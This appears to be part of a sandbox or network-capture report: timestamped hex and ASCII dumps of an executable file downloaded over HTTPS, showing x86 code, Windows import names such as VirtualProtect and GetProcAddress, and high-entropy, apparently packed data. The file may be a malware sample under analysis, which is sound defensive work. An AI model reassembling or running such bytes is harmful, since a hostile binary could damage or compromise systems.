2022-08-31 12:28:59 UTC	619	IN	Data Raw: 95 c1 89 8d 9c fd ff ff 83 bd 9c fd ff ff 00 75 21 68 50 42 40 00 6a 00 68 02 04 00 00 68 70 45 40 00 6a 02 e8 34 cb fe ff 83 c4 14 83 f8 01 75 01 cc 83 bd 9c fd ff ff 00 75 46 e8 ed 1d ff ff c7 00 16 00 00 00 6a 00 68 02 04 00 00 68 70 45 40 00 68 74 6f 40 00 68 50 42 40 00 e8 4c 1a ff ff 83 c4 14 c7 85 1c fd ff ff ff ff ff ff 8d 4d c0 e8 97 bc fe ff 8b 85 1c fd ff ff e9 1d 12 00 00 8b 45 08 89 85 98 fd ff ff 8b 8d 98 fd ff ff 8b 51 0c 83 e2 40 0f 85 cb 00 00 00 8b 85 98 fd ff ff 50 e8 45 f2 ff ff 83 c4 04 89 85 94 fd ff ff 83 bd 94 fd ff ff ff 74 2d 83 bd 94 fd ff ff fe 74 24 8b 8d 94 fd ff ff c1 f9 05 8b 95 94 fd ff ff 83 e2 1f c1 e2 06 03 14 8d 20 fc c1 00 89 95 fc fc ff ff eb 0a c7 85 fc fc ff ff e0 f7 81 00 8b 85 fc fc ff ff 8a 48 24 d0 e1 d0 f9 0f Data Ascii: u!hPB@jhhpE@j4uuFjhhpE@hto@hPB@LMEQ@PEt-t$ H$
2022-08-31 12:28:59 UTC	623	IN	Data Raw: 8b 45 08 50 8b 8d 3c fd ff ff 51 6a 30 e8 a6 3f ff ff 83 c4 10 83 7d f4 00 0f 84 ce 00 00 00 83 7d dc 00 0f 8e c4 00 00 00 c7 85 24 fd ff ff 00 00 00 00 8b 55 fc 89 95 38 fd ff ff 8b 45 dc 89 85 34 fd ff ff 8b 8d 34 fd ff ff 8b 95 34 fd ff ff 83 ea 01 89 95 34 fd ff ff 85 c9 0f 84 89 00 00 00 8b 85 38 fd ff ff 66 8b 08 66 89 8d d2 fc ff ff 0f b7 95 d2 fc ff ff 52 6a 06 8d 85 28 fd ff ff 50 8d 8d 30 fd ff ff 51 e8 a9 ea ff ff 83 c4 10 89 85 24 fd ff ff 8b 95 38 fd ff ff 83 c2 02 89 95 38 fd ff ff 83 bd 24 fd ff ff 00 75 09 83 bd 30 fd ff ff 00 75 0c c7 85 b4 fd ff ff ff ff ff ff eb 26 8d 85 b4 fd ff ff 50 8b 4d 08 51 8b 95 30 fd ff ff 52 8d 85 28 fd ff ff 50 e8 15 3f ff ff 83 c4 10 e9 5a ff ff ff eb 1b 8d 8d b4 fd ff ff 51 8b 55 08 52 8b 45 dc 50 8b 4d fc Data Ascii: EP<Qj0?}}$U8E44448ffRj(P0Q$88$u0u&PMQ0R(P?ZQUREPM
2022-08-31 12:28:59 UTC	627	IN	Data Raw: 0c ff 74 5c 81 7d 0c ff ff ff 7f 74 53 8b 55 fc 83 c2 01 3b 55 0c 73 48 8b 45 fc 83 c0 01 8b 4d 0c 2b c8 39 0d 78 ec 81 00 73 0b 8b 15 78 ec 81 00 89 55 d8 eb 0e 8b 45 fc 83 c0 01 8b 4d 0c 2b c8 89 4d d8 8b 55 d8 52 68 fe 00 00 00 8b 45 fc 8b 4d 08 8d 54 01 01 52 e8 76 6b fe ff 83 c4 0c 83 7d fc 00 7d 09 c7 45 d4 ff ff ff ff eb 06 8b 45 fc 89 45 d4 8b 45 d4 8b e5 5d c3 cc cc cc cc cc cc cc 8b ff 55 8b ec 8b 45 18 50 6a 00 8b 4d 14 51 8b 55 10 52 8b 45 0c 50 8b 4d 08 51 e8 40 fc ff ff 83 c4 18 5d c3 cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 83 ec 1c 89 7d f4 89 75 f8 89 5d fc 8b 5d 0c 8b c3 99 8b c8 8b 45 08 33 ca 2b ca 83 e1 0f 33 ca 2b ca 99 8b f8 33 fa 2b fa 83 e7 0f 33 fa 2b fa 8b d1 0b d7 75 4a 8b 75 10 8b ce 83 e1 7f 89 4d e8 3b f1 74 13 2b f1 56 53 Data Ascii: t\}tSU;UsHEM+9xsxUEM+MURhEMTRvk}}EEEE]UEPjMQUREPMQ@]U}u]]E3+3+3+3+uJuM;t+VS
2022-08-31 12:28:59 UTC	631	IN	Data Raw: 08 8b 51 04 52 ff 15 1c 12 40 00 89 45 fc 83 7d fc 00 74 1f 83 7d f0 00 75 19 8b 45 fc 83 e8 01 89 45 b8 8d 4d e0 e8 53 8b fe ff 8b 45 b8 e9 16 02 00 00 83 7d f0 00 75 0b ff 15 9c 10 40 00 83 f8 7a 74 22 e8 55 ec fe ff c7 00 2a 00 00 00 c7 45 b4 ff ff ff ff 8d 4d e0 e8 20 8b fe ff 8b 45 b4 e9 e3 01 00 00 8b 4d fc 3b 4d 10 0f 83 1c 01 00 00 8d 55 f0 52 6a 00 8d 4d e0 e8 2e 8b fe ff 8b 00 8b 88 ac 00 00 00 51 8d 55 d4 52 6a 01 8b 45 0c 50 6a 00 8d 4d e0 e8 11 8b fe ff 8b 08 8b 51 04 52 ff 15 1c 12 40 00 89 45 f4 83 7d f4 00 74 06 83 7d f0 00 74 22 e8 e1 eb fe ff c7 00 2a 00 00 00 c7 45 b0 ff ff ff ff 8d 4d e0 e8 ac 8a fe ff 8b 45 b0 e9 6f 01 00 00 83 7d f4 00 7c 06 83 7d f4 05 76 22 e8 b3 eb fe ff c7 00 2a 00 00 00 c7 45 ac ff ff ff ff 8d 4d e0 e8 7e 8a fe Data Ascii: QR@E}t}uEEMSE}u@zt"UEM EM;MURjM.QURjEPjMQR@E}t}t"EMEo}\|}v"*EM~
2022-08-31 12:28:59 UTC	635	IN	Data Raw: 30 33 c0 83 7d 0c 00 0f 95 c0 89 45 e8 83 7d e8 00 75 1e 68 60 33 40 00 6a 00 6a 66 68 c8 7c 40 00 6a 02 e8 21 89 fe ff 83 c4 14 83 f8 01 75 01 cc 83 7d e8 00 75 30 e8 dd db fe ff c7 00 16 00 00 00 6a 00 6a 66 68 c8 7c 40 00 68 ac 7f 40 00 68 60 33 40 00 e8 3f d8 fe ff 83 c4 14 b8 16 00 00 00 e9 03 03 00 00 33 d2 3b 55 10 1b c0 f7 d8 89 45 e4 75 1e 68 90 7c 40 00 6a 00 6a 67 68 c8 7c 40 00 6a 02 e8 bf 88 fe ff 83 c4 14 83 f8 01 75 01 cc 83 7d e4 00 75 30 e8 7b db fe ff c7 00 16 00 00 00 6a 00 6a 67 68 c8 7c 40 00 68 ac 7f 40 00 68 90 7c 40 00 e8 dd d7 fe ff 83 c4 14 b8 16 00 00 00 e9 a1 02 00 00 33 d2 8b 45 0c 66 89 10 83 7d 10 ff 74 4b 81 7d 10 ff ff ff 7f 74 42 83 7d 10 01 76 3c 8b 4d 10 83 e9 01 39 0d 78 ec 81 00 73 0b 8b 15 78 ec 81 00 89 55 d4 eb 09 Data Ascii: 03}E}uh`3@jjfh\|@j!u}u0jjfh\|@h@h`3@?3;UEuh\|@jjgh\|@ju}u0{jjgh\|@h@h\|@3Ef}tK}tB}v<M9xsxU
2022-08-31 12:28:59 UTC	639	IN	Data Raw: 80 79 05 48 83 c8 e0 40 b9 1f 00 00 00 2b c8 89 4d f4 83 ca ff 8b 4d f4 d3 e2 f7 d2 89 55 fc 8b 45 f8 8b 4d 08 8b 14 81 23 55 fc 74 04 33 c0 eb 31 8b 45 f8 83 c0 01 89 45 f8 eb 09 8b 4d f8 83 c1 01 89 4d f8 83 7d f8 03 7d 12 8b 55 f8 8b 45 08 83 3c 90 00 74 04 33 c0 eb 07 eb df b8 01 00 00 00 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 10 8b 45 0c 99 83 e2 1f 03 c2 c1 f8 05 89 45 f8 8b 45 0c 25 1f 00 00 80 79 05 48 83 c8 e0 40 b9 1f 00 00 00 2b c8 89 4d f0 ba 01 00 00 00 8b 4d f0 d3 e2 89 55 f4 8b 45 f8 8b 4d 08 8d 14 81 52 8b 45 f4 50 8b 4d f8 8b 55 08 8b 04 8a 50 e8 56 00 00 00 83 c4 0c 89 45 fc 8b 4d f8 83 e9 01 89 4d f8 eb 09 8b 55 f8 83 ea 01 89 55 f8 83 7d f8 00 7c 29 83 7d fc 00 74 23 8b 45 f8 8b 4d 08 8d 14 81 52 6a 01 8b Data Ascii: yH@+MMUEM#Ut31EEMM}}UE<t3]UEEE%yH@+MMUEMREPMUPVEMMUU}\|)}t#EMRj
2022-08-31 12:28:59 UTC	643	IN	Data Raw: c0 01 89 45 fc 83 7d fc 05 0f 8d b1 00 00 00 8b 4d fc d1 e1 89 4d f8 c7 45 cc 08 00 00 00 ba 05 00 00 00 2b 55 fc 89 55 c8 eb 09 8b 45 c8 83 e8 01 89 45 c8 83 7d c8 00 7e 78 8b 4d 08 03 4d f8 89 4d c4 8b 55 0c 03 55 cc 89 55 c0 8b 45 f4 8d 4c 05 d8 89 4d b8 8b 55 c4 0f b7 02 8b 4d c0 0f b7 11 0f af c2 89 45 b4 8b 45 b8 50 8b 4d b4 51 8b 55 b8 8b 02 50 e8 22 f0 ff ff 83 c4 0c 89 45 bc 83 7d bc 00 74 14 8b 4d f4 66 8b 54 0d dc 66 83 c2 01 8b 45 f4 66 89 54 05 dc 8b 4d f8 83 c1 02 89 4d f8 8b 55 cc 83 ea 02 89 55 cc e9 79 ff ff ff 8b 45 f4 83 c0 02 89 45 f4 e9 3c ff ff ff 0f b7 4d f0 81 e9 fe 3f 00 00 66 89 4d f0 0f bf 55 f0 85 d2 7e 24 8b 45 e0 25 00 00 00 80 75 1a 8d 4d d8 51 e8 64 01 00 00 83 c4 04 66 8b 55 f0 66 83 ea 01 66 89 55 f0 eb d4 0f bf 45 f0 85 Data Ascii: E}MME+UUEE}~xMMMUUUELMUMEEPMQUP"E}tMfTfEfTMMUUyEE<M?fMU~$E%uMQdfUffUE
2022-08-31 12:28:59 UTC	647	IN	Data Raw: e8 7d a4 fe ff 8b e5 5d c3 cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 51 89 4d fc 8d 45 08 50 8b 4d fc e8 1b 18 fe ff 8b 4d fc c7 01 70 82 40 00 8b 45 fc 8b e5 5d c2 04 00 cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 51 89 4d fc 8b 45 fc c7 00 70 82 40 00 8b 4d fc e8 16 19 fe ff 8b e5 5d c3 cc cc 8b ff 55 8b ec 51 89 4d fc 8b 4d fc e8 cf ff ff ff 8b 45 08 83 e0 01 74 0c 8b 4d fc 51 e8 de 19 fe ff 83 c4 04 8b 45 fc 8b e5 5d c2 04 00 cc cc 8b ff 55 8b ec 51 89 4d fc 8b 45 08 50 8b 4d fc e8 2b 18 fe ff 8b 4d fc c7 01 70 82 40 00 8b 45 fc 8b e5 5d c2 04 00 cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 0c 56 8b 45 08 81 38 03 00 00 80 75 05 e9 58 01 00 00 e8 c2 90 fe ff 83 b8 80 00 00 00 00 74 4c e8 b4 90 fe ff 8b f0 e8 fd 8a fe ff 39 86 80 00 00 00 74 38 8b 4d Data Ascii: }]UQMEPMMp@E]UQMEp@M]UQMMEtMQE]UQMEPM+Mp@E]UVE8uXtL9t8M
2022-08-31 12:28:59 UTC	651	IN	Data Raw: 8b 45 d0 89 45 ec 83 7d ec 00 75 07 33 c0 e9 1e 01 00 00 8b 4d f0 d1 e1 51 6a 00 8b 55 ec 52 e8 b9 0c fe ff 83 c4 0c 8b 45 f0 50 8b 4d ec 51 8b 55 fc 52 8b 45 10 50 6a 01 8b 4d 08 51 ff 15 58 12 40 00 85 c0 0f 84 d1 00 00 00 83 7d 18 00 74 2f 6a 00 6a 00 8b 55 1c 52 8b 45 18 50 8b 4d f0 51 8b 55 ec 52 6a 00 8b 45 0c 50 ff 15 1c 12 40 00 85 c0 74 06 8b 4d 18 89 4d f8 e9 9c 00 00 00 83 7d f4 00 75 25 6a 00 6a 00 6a 00 6a 00 8b 55 f0 52 8b 45 ec 50 6a 00 8b 4d 0c 51 ff 15 1c 12 40 00 89 45 f0 83 7d f0 00 74 71 68 97 00 00 00 68 78 82 40 00 6a 02 8b 55 f0 52 6a 01 e8 eb 22 fe ff 83 c4 14 89 45 f8 83 7d f8 00 74 4e 6a 00 6a 00 8b 45 f0 50 8b 4d f8 51 8b 55 f0 52 8b 45 ec 50 6a 00 8b 4d 0c 51 ff 15 1c 12 40 00 89 45 f0 83 7d f0 00 75 17 6a 02 8b 55 f8 52 e8 ab Data Ascii: EE}u3MQjUREPMQUREPjMQX@}t/jjUREPMQURjEP@tMM}u%jjjjUREPjMQ@E}tqhhx@jURj"E}tNjjEPMQUREPjMQ@E}ujUR
2022-08-31 12:28:59 UTC	655	IN	Data Raw: d0 ff ff 2b c1 3d a8 06 00 00 73 7a 8b 95 d4 d0 ff ff 2b 55 0c 3b 55 10 73 6c 8b 85 d4 d0 ff ff 66 8b 08 66 89 8d d8 d0 ff ff 8b 95 d4 d0 ff ff 83 c2 02 89 95 d4 d0 ff ff 0f b7 85 d8 d0 ff ff 83 f8 0a 75 1d b9 0d 00 00 00 8b 95 dc d0 ff ff 66 89 0a 8b 85 dc d0 ff ff 83 c0 02 89 85 dc d0 ff ff 8b 8d dc d0 ff ff 66 8b 95 d8 d0 ff ff 66 89 11 8b 85 dc d0 ff ff 83 c0 02 89 85 dc d0 ff ff e9 71 ff ff ff 6a 00 6a 00 68 55 0d 00 00 8d 8d 78 c3 ff ff 51 8b 85 dc d0 ff ff 8d 95 e0 d0 ff ff 2b c2 99 2b c2 d1 f8 50 8d 85 e0 d0 ff ff 50 6a 00 68 e9 fd 00 00 ff 15 1c 12 40 00 89 85 74 c3 ff ff 83 bd 74 c3 ff ff 00 75 13 ff 15 9c 10 40 00 89 45 f4 e9 9f 00 00 00 e9 95 00 00 00 c7 85 70 c3 ff ff 00 00 00 00 6a 00 8d 4d f0 51 8b 95 74 c3 ff ff 2b 95 70 c3 ff ff 52 8b 85 Data Ascii: +=sz+U;UslffufffqjjhUxQ++PPjh@ttu@EpjMQt+pR
2022-08-31 12:28:59 UTC	659	IN	Data Raw: 03 00 00 8b 4d d8 2b 4d d4 33 d2 39 4d cc 0f 95 c2 8b 45 08 c1 f8 05 8b 4d 08 83 e1 1f c1 e1 06 8b 04 85 20 fc c1 00 89 54 08 30 8b 4d cc d1 e1 89 4d cc e9 53 03 00 00 83 7d ec 00 74 45 8b 55 d4 0f b7 02 83 f8 0a 75 3a 8b 4d 08 c1 f9 05 8b 55 08 83 e2 1f c1 e2 06 8b 04 8d 20 fc c1 00 0f be 4c 10 04 83 c9 04 8b 55 08 c1 fa 05 8b 45 08 83 e0 1f c1 e0 06 8b 14 95 20 fc c1 00 88 4c 02 04 eb 38 8b 45 08 c1 f8 05 8b 4d 08 83 e1 1f c1 e1 06 8b 14 85 20 fc c1 00 0f be 44 0a 04 83 e0 fb 8b 4d 08 c1 f9 05 8b 55 08 83 e2 1f c1 e2 06 8b 0c 8d 20 fc c1 00 88 44 11 04 8b 55 d4 89 55 e0 8b 45 e0 89 45 d0 8b 4d d4 03 4d cc 39 4d d0 0f 83 ac 02 00 00 8b 55 d0 0f b7 02 83 f8 1a 0f 85 82 00 00 00 8b 4d 08 c1 f9 05 8b 55 08 83 e2 1f c1 e2 06 8b 04 8d 20 fc c1 00 0f be 4c 10 Data Ascii: M+M39MEM T0MMS}tEUu:MU LUE L8EM DMU DUUEEMM9MUMU L
2022-08-31 12:28:59 UTC	663	IN	Data Raw: fb ff ff e9 0a 0e 00 00 8b 95 a4 fb ff ff 89 95 20 fb ff ff 83 bd 20 fb ff ff 07 0f 87 28 0d 00 00 8b 85 20 fb ff ff ff 24 85 04 d5 42 00 c7 45 f4 01 00 00 00 8d 8d b4 fb ff ff 51 8b 55 08 52 0f b7 85 ac fb ff ff 50 e8 e1 0e 00 00 83 c4 0c e9 f4 0c 00 00 c7 45 d4 00 00 00 00 8b 4d d4 89 4d d8 8b 55 d8 89 55 e8 8b 45 e8 89 45 e4 c7 45 f0 00 00 00 00 c7 45 d0 ff ff ff ff c7 45 f4 00 00 00 00 e9 c1 0c 00 00 0f b7 8d ac fb ff ff 89 8d 1c fb ff ff 8b 95 1c fb ff ff 83 ea 20 89 95 1c fb ff ff 83 bd 1c fb ff ff 10 77 4c 8b 85 1c fb ff ff 0f b6 88 3c d5 42 00 ff 24 8d 24 d5 42 00 8b 55 f0 83 ca 04 89 55 f0 eb 2d 8b 45 f0 83 c8 01 89 45 f0 eb 22 8b 4d f0 83 c9 02 89 4d f0 eb 17 8b 55 f0 81 ca 80 00 00 00 89 55 f0 eb 09 8b 45 f0 83 c8 08 89 45 f0 e9 4b 0c 00 00 0f Data Ascii: ( $BEQURPEMMUUEEEEE wL<B$$BUU-EE"MMUUEEK
2022-08-31 12:28:59 UTC	667	IN	Data Raw: d5 30 ff ff 83 c4 04 83 f8 ff 74 40 8b 45 0c 50 e8 c4 30 ff ff 83 c4 04 83 f8 fe 74 2f 8b 4d 0c 51 e8 b3 30 ff ff 83 c4 04 8b f0 c1 fe 05 8b 55 0c 52 e8 a2 30 ff ff 83 c4 04 83 e0 1f c1 e0 06 03 04 b5 20 fc c1 00 89 45 e8 eb 07 c7 45 e8 e0 f7 81 00 8b 45 e8 8a 48 24 d0 e1 d0 f9 0f be d1 83 fa 02 74 6a 8b 45 0c 50 e8 6b 30 ff ff 83 c4 04 83 f8 ff 74 40 8b 4d 0c 51 e8 5a 30 ff ff 83 c4 04 83 f8 fe 74 2f 8b 55 0c 52 e8 49 30 ff ff 83 c4 04 8b f0 c1 fe 05 8b 45 0c 50 e8 38 30 ff ff 83 c4 04 83 e0 1f c1 e0 06 03 04 b5 20 fc c1 00 89 45 e4 eb 07 c7 45 e4 e0 f7 81 00 8b 4d e4 8a 51 24 d0 e2 d0 fa 0f be c2 83 f8 01 75 65 8b 4d 0c 8b 51 04 83 ea 02 8b 45 0c 89 50 04 8b 4d 0c 83 79 04 00 7c 32 8b 55 0c 8b 02 66 8b 4d 08 66 89 08 0f b7 55 08 81 e2 ff ff 00 00 66 89 Data Ascii: 0t@EP0t/MQ0UR0 EEEH$tjEPk0t@MQZ0t/URI0EP80 EEMQ$ueMQEPMy\|2UfMfUf
2022-08-31 12:28:59 UTC	671	IN	Data Raw: 8b 54 24 08 f7 c2 03 00 00 00 74 15 8a 0a 83 c2 01 3a cb 74 cf 84 c9 74 51 f7 c2 03 00 00 00 75 eb 0b d8 57 8b c3 c1 e3 10 56 0b d8 8b 0a bf ff fe fe 7e 8b c1 8b f7 33 cb 03 f0 03 f9 83 f1 ff 83 f0 ff 33 cf 33 c6 83 c2 04 81 e1 00 01 01 81 75 1c 25 00 01 01 81 74 d3 25 00 01 01 01 75 08 81 e6 00 00 00 80 75 c4 5e 5f 5b 33 c0 c3 8b 42 fc 3a c3 74 36 84 c0 74 ef 3a e3 74 27 84 e4 74 e7 c1 e8 10 3a c3 74 15 84 c0 74 dc 3a e3 74 06 84 e4 74 d4 eb 96 5e 5f 8d 42 ff 5b c3 8d 42 fe 5e 5f 5b c3 8d 42 fd 5e 5f 5b c3 8d 42 fc 5e 5f 5b c3 ff 25 44 12 40 00 cc cc cc cc cc cc cc cc cc cc cc cc 8d 4d e0 e9 a8 e9 fd ff 8b 54 24 08 8d 42 0c 8b 4a d8 33 c8 e8 17 4b fe ff b8 4c 0c 43 00 e9 cd 0a ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc 8d 4d e4 e9 78 e9 fd ff 8b 54 24 Data Ascii: T$t:ttQuWV~333u%t%uu^_[3B:t6t:t't:tt:tt^_B[B^_[B^_[B^_[%D@MT$BJ3KLCMxT$
2022-08-31 12:28:59 UTC	675	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-31 12:28:59 UTC	679	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-31 12:28:59 UTC	683	IN	Data Raw: 6d 65 45 78 57 00 00 f6 01 47 65 74 4d 6f 64 75 6c 65 48 61 6e 64 6c 65 41 00 00 5a 02 47 65 74 54 65 6d 70 50 61 74 68 41 00 00 2d 00 42 75 69 6c 64 43 6f 6d 6d 44 43 42 41 6e 64 54 69 6d 65 6f 75 74 73 57 00 00 20 02 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 00 5a 04 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 00 00 2e 03 4f 70 65 6e 4a 6f 62 4f 62 6a 65 63 74 57 00 00 a4 04 5f 6c 77 72 69 74 65 00 3f 04 55 6e 6c 6f 63 6b 46 69 6c 65 00 00 1e 02 47 65 74 50 72 69 76 61 74 65 50 72 6f 66 69 6c 65 53 74 72 75 63 74 41 00 00 b6 01 47 65 74 44 69 73 6b 46 72 65 65 53 70 61 63 65 45 78 57 00 b9 00 44 65 66 69 6e 65 44 6f 73 44 65 76 69 63 65 41 00 00 1b 04 53 65 74 56 6f 6c 75 6d 65 4d 6f 75 6e 74 50 6f 69 6e 74 57 00 00 55 01 47 65 74 41 74 6f 6d 4e 61 6d Data Ascii: meExWGetModuleHandleAZGetTempPathA-BuildCommDCBAndTimeoutsW GetProcAddressZVirtualProtect.OpenJobObjectW_lwrite?UnlockFileGetPrivateProfileStructAGetDiskFreeSpaceExWDefineDosDeviceASetVolumeMountPointWUGetAtomNam
2022-08-31 12:28:59 UTC	687	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-31 12:28:59 UTC	691	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-31 12:28:59 UTC	695	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-31 12:28:59 UTC	699	IN	Data Raw: b5 90 cc 2b 8e ee 97 6e aa d2 45 b9 f0 f5 66 a4 a3 63 ab 5c ef bc a7 e7 7b 70 d8 13 d9 15 86 be 75 fb 97 8b 73 c5 69 d5 e4 ab fe 27 00 7a 1e 64 2f d3 98 13 c3 a1 62 8a 56 d1 34 a0 0b 3e b1 a3 35 8e 1e 42 c0 05 d7 3d 63 0b 0a 51 dd 90 ac 8a b1 b7 b8 4d 18 d4 0b 43 b9 46 48 8b e1 55 af 8e 84 35 f1 e7 05 01 90 70 81 9d 56 40 a8 88 8a a9 9d 55 6e fc 35 54 4f bf 15 fc f0 cc 31 6e bc 89 60 14 8d 88 02 07 b8 7b 63 14 45 df 12 4a b4 2d e4 36 b1 e1 2b de fe 1a 41 ce 14 20 0d bd 12 c1 b3 88 44 69 69 4f 13 5a 68 2f 83 53 9a 00 f1 7e 1b ed 45 06 d7 88 b1 96 e8 6b 99 86 0a 95 7c 3d a0 99 61 3e d6 e9 5d 4b 68 85 7b 81 b9 d3 20 79 1e 29 94 53 73 cc 1a 5c 67 e2 c5 23 47 c6 2d 9a c6 a2 e5 f3 01 d5 4a 7e b3 09 2e 24 8c ab 93 31 a7 e7 b5 ed 87 67 b9 5f 39 fa 13 53 73 cc 1a Data Ascii: +nEfc\{pusi'zd/bV4>5B=cQMCFHU5pV@Un5TO1n`{cEJ-6+A DiiOZh/S~Ek\|=a>]Kh{ y)Ss\g#G-J~.$1g_9Ss
2022-08-31 12:28:59 UTC	711	IN	Data Raw: 6f 6c 38 62 04 04 c8 03 6a 7c 49 e7 40 15 d8 ef 1f 4c d6 1e e2 f1 0a b6 cd 36 22 55 a3 d0 99 43 aa 5b bd ab 19 24 25 56 3c fd 2e 78 8a ed 99 1a c6 92 82 94 1c fe 46 c2 68 ea 0f ca f4 df e9 bb 50 36 09 86 df 89 d8 46 1b ce 8e d2 f9 48 0d 93 07 e8 c9 64 eb 9e 0e 61 6f 68 ad ca 49 f4 2f f9 1c b9 77 a4 71 a8 85 c3 ac d3 dd d8 93 e5 a8 51 0d 3e b1 a5 12 ce 15 c8 67 ac aa 9a aa b4 46 b8 bd 12 93 ce b8 79 6c c7 a9 cd a2 92 df 0e 7f 16 a9 50 49 05 00 d3 1b 73 2b d2 9d 7b 9a cc 6a b0 8d e3 4a 58 76 a7 f7 b6 f0 27 b8 4a 39 28 97 b4 47 02 3c 80 d6 4f be d9 62 8f a3 bd 3e 9f 12 46 b2 99 22 ab 94 ee 3e 6a c5 b4 bf 43 c9 6f 05 df bf 09 14 64 6d bb 9a 5d 13 a6 46 50 21 f7 7f bc ec 80 3d 2c 68 05 91 6f d2 7b b3 6c a0 3a b9 e2 a5 33 9a 51 a7 ab fe 37 7c 5b e0 1b 1e 82 c2 Data Ascii: ol8bj\|I@L6"UC[$%V<.xFhP6FHdaohI/wqQ>gFylPIs+{jJXv'J9(G<Ob>F">jCodm]FP!=,ho{l:3Q7\|[
